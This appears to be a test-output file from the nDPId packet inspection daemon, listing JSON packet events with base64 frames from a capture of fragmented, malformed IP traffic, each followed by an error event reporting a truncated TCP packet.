-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560026} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560042} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560057} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560074} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560087} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560102} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560117} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560132} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560164} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560198} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560215} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560229} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560243} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560274} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560290} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560305} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560319} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560335} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560349} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560379} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560408} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560422} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560454} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560489} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560518} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560533} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560548} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560561} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560576} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560589} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560601} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560614} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560628} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560642} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560655} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560683} 